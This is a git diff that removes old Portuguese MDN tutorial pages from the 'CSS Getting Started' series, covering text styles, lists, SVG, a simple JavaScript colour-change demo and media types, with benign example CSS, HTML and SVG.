diff --git "a/files/pt-pt/web/css/como_come\303\247ar/estilos_de_texto/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/estilos_de_texto/index.html" deleted file mode 100644 index 373688d00f..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/estilos_de_texto/index.html" +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Estilos de texto -slug: Web/CSS/Como_começar/Estilos_de_texto -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Web/Guide/CSS/Getting_started/Text_styles ---- -

{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}

- -

Esta página dá mais exemplos de estilos de texto.

- -

Você modifica sua folha de estilo de amostra para usar diferentes fontes.

- -

Informação: Estilos de texto

- -

CSS tem várias propriedades para estilos de texto.

- -

Há uma conveniente propriedade de abreviação de caracteres/palavras que facilitam a escrita, font, que você pode usar para especificar várias coisas de uma vez — por exemplo:

- - - - - - - - - - -
Exemplo
-
-
-p {font: italic 75%/125% "Comic Sans MS", cursive;}
-
-
- -

Esta regra coloca várias propriedades da fonte, fazendo todos os parágrafos em itálico.

- -

O tamanho da fonte é três quartos (75%) do tamanho em cada elemento do paragrafo principal e a altura da linha é 125% (um pouco mais espaçada que o normal).

- -

O tipo da fonte é Comic Sans MS, mas se a fonte não estiver disponível então o navegador usará sua fonte cursiva padrão (escrita a mão).

- -

A regra tem o efeito colateral de desativar o negrito e as letras minúsculas (colocando-os no estilo normal)

-
- -

Tipos de fonte

- -

Você não pode predizer quais fontes os leitores do seu documento terão. Então quando você especifica tipos de fonte é uma boa idéia colocar uma lista de alternativas em ordem de preferência.

- -

Acabe a lista com um dos tipos de fontes internas padrão: serif, sans-serif, cursive, fantasy ou monospace. (Algumas destas podem ser configuradas nas Opções do seu navegador.)

- -

Se o tipo não for suportado por algumas características no documento, então o navegador pode substituí-lo por um tipo diferente. Por exemplo, o documento pode conter caracteres especiais que a fonte não suporte. Se o navegador puder encontrar outra fonte que tenha os caracteres, então ele usará a outra fonte.

- -

Para especificar um tipo de fonte por conta própria, use a propriedade font-family.

- -

Tamanho da fonte

- -

Leitores que usam os navegadores Mozilla podem configurar o tamanho padrão das fontes em Opções, e mudar o tamanho do texto quando lêem uma página, isso a torna boa para você usá-la com tamanho relativos onde você puder.

- -

Você pode usar alguns valores internos para o tamanho das fontes, como: small, medium e large. Você pode também usar valores relativos para o tamanho das fontes do elemento primário, como: smaller, larger, 150% ou 1.5em.

- -

Se necessário você pode especificar um tamanho atual, como: 12px (12 pixels) para um instrumento de exibição ou 12pt (12 pontos) para uma impressora. Este tamanho é nominalmente a largura de uma letra m, mas fontes variam na maneira do tamanho, você vê relatos do tamanho que você especifica.

- -

Para especificar um tamanho de fonte por conta própria, use a propriedade font-size.

- -

Altura da linha

- -

A altura da linha especifica o espaçamento entre linhas. Se seu documento tem longos parágrafos com muitas linhas, um espaçamento mais largo que o normal faz com que a leitura seja mais fácil, especialmente se o tamanho da fonte for pequeno.

- -

Para especificar a altura da linha por conta própria, use a propriedade line-height.

- -

Decoração

- -

A propriedade separada text-decoration pode especificar outros estilos, como underline ou line-through. Você pode configurar isto para none removendo explicitamente qualquer decoração.

- -

Outras propriedades

- -

Para especificar itálico por conta própria, use font-style: italic;
- Para especificar negrito por conta própria, use font-weight: bold;
- Para especificar letras minúsculas por conta própria, use font-variant: small-caps;

- -

Para tornar qualquer destes valores individualmente desativado, você pode especificar o valor normal ou inherit.

- - - - - - - - -
Mais detalhes
Você pode especificar os estilos do texto em uma variedade de outras maneiras. -

Por exemplo, algumas propriedades mencionadas aqui têm outros valores que podem ser usados.

- -

Em uma folha de estilo complexa, evite usar a propriedade de abreviação de caracteres/palavras que facilitam a escrita font, por causa de seus efeitos colaterais (o re-escolher de outras propriedades individuais).

- -

Para maiores detalhes sobre as propriedades relacionadas às fontes, veja Fonts na especificação do CSS. Para maiores detalhes sobre decoração de textos, veja Text.

-
- -

Ação: Especificando fontes

- -

Para um documento de amostra, você pode escolher a fonte do elemento BODY e o resto do documento herda as configurações.

- -

Edite seu arquivo CSS. Adicione esta regra para mudar a fonte completamente. O topo do arquivo CSS é um local lógico para isto, mas isto terá o mesmo efeito em qualquer lugar que for posicionado:

- -
-
body {font: 16px "Comic Sans MS", cursive;}
-
-
- -

Adicione um comentário à regra, e deixe um espaço em branco para fazer sua disposição preferido.

- -

Atualize seu navegador para ver o efeito. Se o seu sistema tem Comic Sans MS, ou outra fonte cursiva que não suporta itálico, então seu navegador escolhe um tipo diferente de fonte para o texto em itálico na primeira linha:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

Da barra de menu do seu navegador, escolha Exibir – Tamanho do Texto – Aumentar. Mesmo que o estilo especificado seja 16 pixels, um usuário lendo o documento pode mudar o tamanho.

- - - - - - - - -
Desafio
Sem mudar mais nada, faça todas as seis letras iniciais duas vezes o tamanho na fonte serifada padrão do navegador: - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento de amostra está pronto para usar várias cores nomeadas. A próxima página lista os nomes das cores padrão e explica como você pode especificar outras: Cor

- -

{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/gr\303\241ficos_svg/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/gr\303\241ficos_svg/index.html" deleted file mode 100644 index 074f78c92d..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/gr\303\241ficos_svg/index.html" +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: Gráficos SVG -slug: Web/CSS/Como_começar/Gráficos_SVG -tags: - - 'CSS:Como_começar' -translation_of: Web/SVG/Tutorial/SVG_and_CSS ---- -

{{ PreviousNext("CSS:Como começar:Interfaces de usuário XUL", "CSS:Como começar:Dados XML") }}

- -

Esta página ilustra a linguagem especializada para criação de gráficos: SVG.

- -

Você cria uma simples demonstração que roda em seu navegador Mozilla com SVG ativado.

- -

Informação: SVG

- -

SVG (Scalable Vector Graphics) é uma linguagem baseada em XML para criação de gráficos.

- -

Ela pode ser usada para imagens estáticas, e também para animações e interfaces de usuário.

- -

Como outras linguagens baseadas em XML, SVG suporta folhas de estilo CSS então você pode separar o estilo de um gráfico do seu conteúdo.

- -

As folhas de estilo que você usa com linguagens de marcação em outros documentos também podem especificar o URL de um gráfico SVG onde uma imagem é requerida. Por exemplo, uma folha de estilo que você usa com documentos HTML pode especificar uma URL de um gráfico SVG no valor da propriedade background.

- - - - - - - - -
Mais detalhes
Enquanto escrevo (metade de 2005), somente algumas novas construções dos navegadores Mozilla tem suporte a SVG contruída. Você pode adicionar suporte ao SVG à outras versões instalando um plugin tal como este fornecido pela {{ mediawiki.external('http://www.adobe.com/svg/viewer/install/main.html Adobe') }}. -

Para mais informações sobre SVG no Mozilla, veja a página SVG neste wiki.

-
- -

Ação: Uma demonstração SVG

- -

Crie um novo documento SVG de um arquivo de texto simples, doc8.svg. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:

- -
-
<?xml version="1.0" standalone="no"?>
-
-<?xml-stylesheet type="text/css" href="style8.css"?>
-
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
-  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-
-<svg width="600px" height="600px" viewBox="-300 -300 600 600"
-  xmlns="http://www.w3.org/2000/svg" version="1.1"
-  xmlns:xlink="http://www.w3.org/1999/xlink">
-
-<title>SVG demonstration</title>
-<desc>Mozilla CSS Getting Started - SVG demonstration</desc>
-
-<defs>
-  <g id="segment" class="segment">
-    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
-    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
-    </g>
-  <g id="quadrant">
-    <use xlink:href="#segment"/>
-    <use xlink:href="#segment" transform="rotate(18)"/>
-    <use xlink:href="#segment" transform="rotate(36)"/>
-    <use xlink:href="#segment" transform="rotate(54)"/>
-    <use xlink:href="#segment" transform="rotate(72)"/>
-    </g>
-  <g id="petals">
-    <use xlink:href="#quadrant"/>
-    <use xlink:href="#quadrant" transform="rotate(90)"/>
-    <use xlink:href="#quadrant" transform="rotate(180)"/>
-    <use xlink:href="#quadrant" transform="rotate(270)"/>
-    </g>
-  <radialGradient id="fade" cx="0" cy="0" r="200"
-      gradientUnits="userSpaceOnUse">
-    <stop id="fade-stop-1" offset="33%"/>
-    <stop id="fade-stop-2" offset="95%"/>
-    </radialGradient>
-  </defs>
-
-<text id="heading" x="-280" y="-270">
-  SVG demonstration</text>
-<text  id="caption" x="-280" y="-250">
-  Move your mouse pointer over the flower.</text>
-
-<g id="flower">
-  <circle id="overlay" cx="0" cy="0" r="200"
-    stroke="none" fill="url(#fade)"/>
-  <use id="outer-petals" xlink:href="#petals"/>
-  <use id="inner-petals" xlink:href="#petals"
-    transform="rotate(9) scale(0.33)"/>
-  </g>
-
-</svg>
-
-
- -

Crie um novo arquivo CSS, style8.css. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:

- -
-
/*** Demonstração SVG ***/
-
-/* página */
-svg {
-  background-color: beige;
-  }
-
-#heading {
-  font-size: 24px;
-  font-weight: bold;
-  }
-
-#caption {
-  font-size: 12px;
-  }
-
-/* flor */
-#flower:hover {
-  cursor: crosshair;
-  }
-
-/* gradiente */
-#fade-stop-1 {
-  stop-color: blue;
-  }
-
-#fade-stop-2 {
-  stop-color: white;
-  }
-
-/* outras pétalas */
-#outer-petals {
-  opacity: .75;
-  }
-
-#outer-petals .segment-fill {
-  fill: azure;
-  stroke: lightsteelblue;
-  stroke-width: 1;
-  }
-
-#outer-petals .segment-edge {
-  fill: none;
-  stroke: deepskyblue;
-  stroke-width: 3;
-  }
-
-#outer-petals .segment:hover > .segment-fill {
-  fill: plum;
-  stroke: none;
-  }
-
-#outer-petals .segment:hover > .segment-edge {
-  stroke: slateblue;
-  }
-
-/* pétalas internas */
-#inner-petals .segment-fill {
-  fill: yellow;
-  stroke: yellowgreen;
-  stroke-width: 1;
-  }
-
-#inner-petals .segment-edge {
-  fill: none;
-  stroke: yellowgreen;
-  stroke-width: 9;
-  }
-
-#inner-petals .segment:hover > .segment-fill {
-  fill: darkseagreen;
-  stroke: none;
-  }
-
-#inner-petals .segment:hover > .segment-edge {
-  stroke: green;
-  }
-
-
- -

Abra o documento no seu navegador com SVG ativado. Mova o ponteiro do seu mouse sobre o gráfico.

- -

Este wiki não suporta página com SVG, então não é possível demonstrá-lo aqui. Os gráficos deverão parecer com isto:

- - - - - - - -
SVG demonstration
- -

Notas sobre esta demonstração:

- - - -

 

- - - - - - - - -
Desafio
Mude a folha de estilo de modo que as pétalas interiores tornem-se todas rosa quando o ponteiro do mouse estiver sobre alguma delas, sem mudar a maneira como as outras pétalas trabalham.
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Nesta demonstração, seu navegador com SVG ativado já sabe como mostrar elementos SVG. A folha de estilo somente modifica a exibição em certos caminhos. Isto também é verdade para documentos HTML e XUL. Mas você pode usar o CSS para propósitos gerais em documentos XML, onde não é predefinido um caminho para exibir os elementos. A próxima página demonstra isto: Dados XML

- -

{{ PreviousNext("CSS:Como começar:Interfaces de usuário XUL", "CSS:Como começar:Dados XML") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/index.html" deleted file mode 100644 index fa514756bd..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/index.html" +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Como começar -slug: Web/CSS/Como_começar -tags: - - CSS - - 'CSS:Como_começar' - - Todas_as_Categorias -translation_of: Learn/CSS/First_steps -translation_of_original: Web/Guide/CSS/Getting_started ---- -

 

- -

Introdução

- -

Este tutorial o introduz às CSS (Cascading Style Sheets - Folhas de Estilo em Cascata).

- -

Este tutorial o orienta nos recursos básicos de CSS com exemplos práticos que você pode experimentar sozinho em seu computador. Ele é dividido em duas partes:

- - - - - -

Este tutorial é baseado na CSS 2.1 Specification.

- -

Quem deve ler este tutorial?

- -

Este tutorial é direcionado para iniciantes em CSS, mas você também poderá usá-lo caso tenha alguma experiência em CSS.

- -

Se você é um iniciante em CSS, leia a Parte I deste tutorial para entender CSS e aprender a usá-lo. Em seguida, leia a Parte II para entender o escopo de CSS no Mozilla.

- -

Se você conhece CSS, poderá ignorar as partes desse tutorial que já conhece e ler apenas as partes que lhe interessam.

- -

Se você já tem experiência em CSS mas não no Mozilla, pode ir direto para a Parte II.

- -

O que você precisa antes de começar?

- -

Para melhor aproveitar este tutorial, você precisa de um editor de arquivos de texto e um navegador Mozilla (Firefox, Mozilla Suite ou Seamonkey). Você também deve saber como utilizá-los de um modo básico.

- -

Se não deseja editar arquivos, você pode apenas ler o tutorial e observar as imagens, mas este não é o melhor modo de aprendizado.

- -

Poucas partes deste tutorial podem requerer outro software Mozilla. Essas partes são opcionais. Você pode ignorar essas partes se não desejar fazer o download de outro software Mozilla.

- -

Nota: As CSS oferece modos de se trabalhar com cores, de modo que partes deste tutorial dependem de cores. Você poderá utilizar essas partes facilmente somente se tiver um monitor colorido e uma visão colorida normal.

- -

Como utilizar este tutorial

- -

Para utilizar este tutorial, leia cuidadosamente as páginas e em seqüência. Se perder uma página, você poderá ter dificuldades para entender as páginas posteriores.

- -

Em cada página, utilize a seçãoInformações para entender como o CSS funciona. Utilize a seçãoAções para tentar usar o CSS em seu próprio computador.

- -

Para testar seus conhecimentos, faça o teste ao final de cada página. As soluções para alguns testes são reveladas nas páginas posteriores no tutorial.

- -

Para se aprofundar em CSS, leia as informações nas caixas entituladasMais detalhes. Utilize os links para localizar informações referentes às CSS.

- -

Tutorial Parte I

- -

Um guia passo-a-passo para CSS.

- -
    -
  1. O que é CSS
  2. -
  3. Porque usar CSS
  4. -
  5. Como o CSS trabalha
  6. -
  7. Cascata e herança
  8. -
  9. Seletores
  10. -
  11. CSS legível
  12. -
  13. Estilos de texto
  14. -
  15. Cor
  16. -
  17. Conteúdo
  18. -
  19. Listas
  20. -
  21. Caixas
  22. -
  23. Disposição
  24. -
  25. Tabelas
  26. -
  27. Média
  28. -
- -

Tutorial Parte II

- -

Exemplos que mostram o escopo da CSS no Mozilla.

- -
    -
  1. JavaScript
  2. -
  3. XBL bindings
  4. -
  5. Interfaces de usuário XUL
  6. -
  7. Gráficos SVG
  8. -
  9. Dados XML
  10. -
- -

{{ languages( { "en": "en/CSS/Getting_Started", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "pl": "pl/CSS/Na_pocz\u0105tek", "zh-cn": "cn/CSS/\u5f00\u59cb" } ) }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/javascript/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/javascript/index.html" deleted file mode 100644 index f752fdbf6c..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/javascript/index.html" +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: JavaScript -slug: Web/CSS/Como_começar/JavaScript -tags: - - 'CSS:Como_começar' -translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -translation_of_original: Web/Guide/CSS/Getting_started/JavaScript ---- -

{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}

- -

Esta é a Parte II do tutorial. A Parte II contém alguns exemplos que mostram o escopo do CSS no Mozilla.

- -

Cada página na Parte II ilustra como o CSS interage com algumas outras tecnologias. Estas páginas não são desenhadas para ensinar como usar estas outras tecnologias. Vá para outros tutorias para aprender isto em detalhes.

- -

Em vez disso, estas páginas são desenhadas para ilustrar os muitos usos do CSS. Para usar estas páginas, você deve ter um conhecimento em CSS, mas você não precisa qualquer conhecimento em outras tecnologias.

- -

Informação: JavaScript

- -

JavaScript é uma linguagem de programação. Quando você usa alguma aplicação Mozilla (por exemplo, seu naverador Mozilla) muito do código que o seu computador roda é escrito em JavaScript.

- -

JavaScript pode interagir com folhas de estilo, permitindo a você escrever programas que mudem o estilo do documento dinamicamente.

- -

Existem três maneiras para fazer isto:

- - - - - - - - - - -
Mais detalhes
Para mais informações sobre JavaScript no Mozilla, veja a página JavaScript neste wiki.
- -

Ação: Uma demonstração de JavaScript

- -

Criei um novo documento HTML, doc5.html. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-
-<HEAD>
-<TITLE>Como Começar Mozilla CSS - Demonstração JavaScript</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style5.css">
-<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
-</HEAD>
-
-<BODY>
-<H1>JavaScript de amostra</H1>
-
-<DIV id="square"></DIV>
-
-<BUTTON type="button" onclick="doDemo(this);">Clique Aqui</BUTTON>
-
-</BODY>
-</HTML>
-
-
- -

Crie um novo arquivo CSS, style5.css. Copie e cole o conteúdo daqui:

- -
-
/*** Demonstração JavaScript ***/
-#square {
-  width: 20em;
-  height: 20em;
-  border: 2px inset gray;
-  margin-bottom: 1em;
-  }
-
-button {
-  padding: .5em 2em;
-  }
-
-
- -

Crie um novo arquivo de texo, script5.js. Copie e cole o conteúdo daqui:

- -
-
// Demonstração JavaScript
-function doDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "#fa4"
-  button.setAttribute("disabled", "true")
-  setTimeout(clearDemo, 2000, button)
-  }
-
-function clearDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "transparent"
-  button.removeAttribute("disabled")
-  }
-
-
- -

Abra o documento no seu navegador e pressione o botão.

- -

Este wiki não suporta o JavaScript nas páginas, então não é possível mostrar a demonstração aqui. Deve se parecer como isto, antes e depois de você pressionar o botão:

- - - - - - - - -
- - - - - - -
-

Demonstração JavaScript

-
-
- - - - - - -
-

Demonstração JavaScript

-
-
- -

Notas sobre esta demonstração:

- - - - - - - - - - -
Desafio
Mude o script de modo que o quadrado salte para a direita em 20 em quando sua cor mudar, e salte para trás mais tarde.
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Nesta demonstração, o documento HTML linka o script mesmo que somente o elemento button use o script. Mozilla extende o CSS para que possa ser ligado ao código JavaScript (e também conteúdo e outras folhas de estilo) para elementos selecionados. A próxima página demonstra isto: XBL bindings

- -

{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/listas/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/listas/index.html" deleted file mode 100644 index cff2108b51..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/listas/index.html" +++ /dev/null @@ -1,362 +0,0 @@ ---- -title: Listas -slug: Web/CSS/Como_começar/Listas -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Styling_text/Styling_lists -translation_of_original: Web/Guide/CSS/Getting_started/Lists ---- -

{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}

- -

Esta página descreve como você pode usar as CSS para especificar a aparência das listas.

- -

Você cria um novo documento de amostra contendo listas, e uma nova folha de estilo que estiliza as listas.

- -

Informação: Listas

- -

Se você resolveu o desafio da última página (Conteúdo), então você viu como você pode adicionar conteúdo antes de qualquer elemento para mostrar isto como o item de uma lista.

- -

CSS proporciona propriedades especiais que foram designadas para listas. Geralmente é mais conveniente usar estas propriedades sempre que você puder.

- -

Para especificar o estilo para uma lista, use a propriedade list-style para especificar o tipo de marcador.

- -

O seletor nas regras do seu CSS pode selecionar qualquer um dos elementos na sua lista de itens (por exemplo, LI), ou isto pode selecionar o elemento primário da lista (por exemplo, UL). Então os elementos da lista herdam o estilo.

- -

Listas não ordenadas

- -

Em uma lista não ordenada, cada item da lista é marcado da mesma maneira.

- -

CSS tem três tipos de marcador. Aqui está como seu navegador os mostra:

- - - -

Alternativamente, você pode especificar a URL de uma imagem.

- - - - - - - - -
Exemplo
Estas regras especificam diferentes marcadores para diferentes classes de itens da lista: -
-
-li.open {list-style: circle;}
-li.closed {list-style: disc;}
-
-
- -

Quando estas classes são usadas em uma lista, elas distinguem entre os itens aberto (open) e fechado (closed):

- -
-
-<UL>
-  <LI class="open">Lorem ipsum</LI>
-  <LI class="closed">Dolor sit</LI>
-  <LI class="closed">Amet consectetuer</LI>
-  <LI class="open">Magna aliquam</LI>
-  <LI class="closed">Autem veleum</LI>
-</UL>
-
-
- -

O resultado será parecido com:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- -

Listas ordenadas

- -

Em uma lista ordenada, cada item da lista é marcado diferentemente para mostrar a posição em seqüência.

- -

Use a propriedade list-style para especificar o tipo de marcador:

- - - - - - - - - - -
Exemplo
Esta regra especifica os elementos OL com a classe info, os itens são identificados com letras maiúsculas. -
-
-ol.info {list-style: upper-latin;}
-
-
- -

Os elementos LI na lista herdam este estilo:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- - - - - - - - -
Mais detalhes
A propriedade list-style é uma propriedade "abreviada". Em folhas de estilo complexas você pode preferir usar propriedades separadas para configurar valores separados. Para detalhes sobre estas propriedades separadas, e mais detalhes sobre como as CSS especificam listas, veja Lists na CSS Specification. -

Se você está usando a linguagem de marcação como o HTML que proporciona tags convecionais para listas não ordenadas (UL) e ordenadas (OL), então é bom praticar usando tags da maneira que foi explicado. Contudo, você pode usar as CSS para fazer UL mostrar ordenado e OL para mostrar não ordenado se você precisar.

- -

Os navegadores diferem no modo como implementam os estilos das listas. Não espere que sua folha de estilo dê resultados idênticos em todos os navegadores.

-
- -

Contadores

- -
-

Note:  Alguns navegadores não suportam contadores.

-
- -

Você pode usar contadores para numerar quaisquer elementos, não somente itens listados. Por exemplo, em alguns documentos você pode querer numerar cabeçalhos ou parágrafos.

- -

Para especificar uma numeração, você precisa de um contador com um nome que você especifica.

- -

Em alguns elementos antes da contagem começar, re-inicie o contador com a propriedade counter-reset e o nome do seu contador. O principal dos elementos que você estiver contando é um bom lugar para isto, mas você pode usar qualquer elemento que esteja antes da lista de itens.

- -

Em cada elemento que o contador incrementar, use a propriedade counter-increment e o nome do seu contador.

- -

Para mostrar seu contador, adicione :before ou :after ao seletor e use a propriedade content (como fez na página anterior, Conteúdo).

- -

No valor da propriedade content, especifique counter() com o nome do seu contador. Opcionalmente especifique um tipo. Os tipos são como na seção passada em Listas ordenadas.

- -

Normalmente o elemento que mostra o contador também incrementa isto.

- - - - - - - - -
Exemplo
Esta regra inicializa um contador para cada elemento H3 com a classe numbered: -
-
-h3.numbered {counter-reset: mynum;}
-
-
- -

Esta regra mostra e incrementa o contador para cada elemento P com a classe numbered:

- -
-
-p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
-
- -

O resultado se parece com isto:

- - - - - - - -
Cabeçalho - -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- - - - - - - - -
Mais detalhes
Você não pode usar contadores a menos que você saiba que todos os que lêem o seu documento têm um navegador que os suporta. -

Se você puder usar contadores, eles tem a vantagem de que você pode estilizar os contadores separadamente da lista de itens. No exemplo anterior, os contadores estão em negrito mas a os itens da lista não.

- -

Você pode também usar contadores em meios mais complexos — por exemplo, para numerar seções, cabeçalhos, sub-cabeçalhos e parágrafos em documentos formais. Para detalhes, veja Automatic counters and numbering em CSS Specification.

-
- -

Ação: Listas denominadas

- -

Crie um novo documento HTML, doc2.html. Copie e cole o conteúdo daqui, tendo certeza de que você rola o mouse para pegar tudo isto:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-<HEAD>
-<TITLE>Documento de amostra 2</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style2.css">
-</HEAD>
-<BODY>
-
-<H3 id="oceans">Os oceanos</H3>
-<UL>
-<LI>Ártico</LI>
-<LI>Atlântico</LI>
-<LI>Pacífico</LI>
-<LI>Índico</LI>
-<LI>Antártico</LI>
-</UL>
-
-<H3 class="numbered">Numbered paragraphs</H3>
-<P class="numbered">Lorem ipsum</P>
-<P class="numbered">Dolor sit</P>
-<P class="numbered">Amet consectetuer</P>
-<P class="numbered">Magna aliquam</P>
-<P class="numbered">Autem veleum</P>
-
-</BODY>
-</HTML>
-
-
- -

Faça uma nova folha de estilo, style2.css. Copie e cole o conteúdo daqui:

- -
-
/* parágrafos numerados */
-h3.numbered {counter-reset: mynum;}
-
-p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
-
- -

Se a disposição e o comentário não estiver ao seu gosto, mude-os.

- -

Abra o documento no seu navegador. Se o seu navegador suporta contadores, você verá algo semelhante ao exemplo abaixo. Se o seu navegador não suporta contadores, então você não verá os números (e provavelmente nem sequer os dois pontos (:)):

- - - - - - - -
-

Os oceanos

- -
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
- -

Parágrafos numerados

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- - - - - - - - -
Desafios
Adicione uma regra à sua folha de estilo, para numerar os oceanos usando numerais Romanos de i até v: - - - - - - -
-

Os oceanos

- -
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -


- Se o seu navegador suporta contadores, mude sua folha de estilo para identificar o cabeçalho com letras maiúsculas em parênteses como isto:

- - - - - - - -
-

(A) Os oceanos

- -

. . .

- -

(B) Parágrafos numerados

- -

. . .

-
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Quando seu navegador exibe seu documento de amostra, cria espaços ao redor dos elementos quando eles são exibidos na página.

- -

A próxima página descreve como você pode usar as CSS para trabalhar com formas subjacentes de elementos: Caixas

- -

{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/m\303\255dia/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/m\303\255dia/index.html" deleted file mode 100644 index 0038962474..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/m\303\255dia/index.html" +++ /dev/null @@ -1,433 +0,0 @@ ---- -title: Média -slug: Web/CSS/Como_começar/Mídia -tags: - - 'CSS:Como_começar' -translation_of: Web/Progressive_web_apps/Responsive/Media_types ---- -

{{ PreviousNext("CSS:Como começar:Tabelas", "CSS:Como começar:JavaScript") }}

- -

Muitas das páginas neste tutorial focalizaram nas propriedades e nos valores das CSS que você pode usar para especificar o modo de exibir o documento.

- -

Esta página mostra novamente a proposta e a estrutura das folhas de estilo CSS.

- -

Informação: Média

- -

A proposta das CSS é especificar como os documentos são apresentados ao usuário. A apresentação pode tomar mais de uma forma.

- -

Por exemplo, você provavelmente está lendo esta página em um dispositivo de exibição. Mas você pode também querer projetá-lo em uma tela para uma grande audiência, ou imprimi-la. Estas diferentes mídias podem ter diferentes características. CSS proporciona maneiras para apresenter um documento diferentemente em diferentes mídias.

- -

Para especificar regras específicas para um tipo de mídia, use @media seguido do tipo de mídia e de chaves para incluir as regras

- - - - - - - - -
Exemplo
Um documento em um site na web tem uma área de navegação para permitir ao usuário mover em torno do site. -

Na linguagem de marcação, o elemento principal da área de navegação tem o id nav-area.

- -

Quando o documento é impresso a área de navegação não tem propósito, então a folha de estilo remove-a completamente:

- -
-
-@media print {
-  #nav-area {display: none;}
-  }
-
-
-
- -

Alguns tipos de mídia comuns são:

- - - - - - - - - - - - - - - - - - - - -
screenExposição na tela do computador
printMídias paginadas
projectionExposição projetada
allTodas as mídias (o padrão)
- - - - - - - - -
Mais detalhes
Existem outras maneiras para especificar o tipo de mídia com uma série de regras. -

A linguagem de marcação do documento permite o tipo de mídia tornar-se específico quando a folha de estilo é ligada ao documento. Por exemplo, em HTML você pode opcionalmente especificar o tipo de mídia com o atributo media na tag LINK.

- -

Em CSS você pode usar @import no começo da folha de estilo para importar outras folhas de estilo de uma URL, opcionalmente especificando o tipo de mídia.

- -

Usando estas técnicas você pode separar regras de estilo para diferentes tipos de mídia em diferentes aquivos. Esta é algumas vezes uma maneira útil para estruturar sua folha de estilos.

- -

Para detalhes completos sobre tipos de mídia, veja Media em CSS Specification.

- -

Existem mais exemplos da propriedade display em uma página posterior neste tutorial: Dados XML.

-
- -

Impressão

- -

CSS possui suporte específico para impressão e para mídias paginadas em geral.

- -

Uma regra @page pode configurar as margens da página. Para imprimir frente e verso, você pode especificar as margens separadamente para @page:left e @page:right.

- -

Para mídias impressas, você normalmente usa unidades de comprimento apropriadas em polegadas (in) e pontos (pt = 1/72 polegadas), ou centímetros (cm) e milímetros (mm). É igualmente apropriado o uso de ems (em) para combinar tamanhos de fontes, e porcentagens (%).

- -

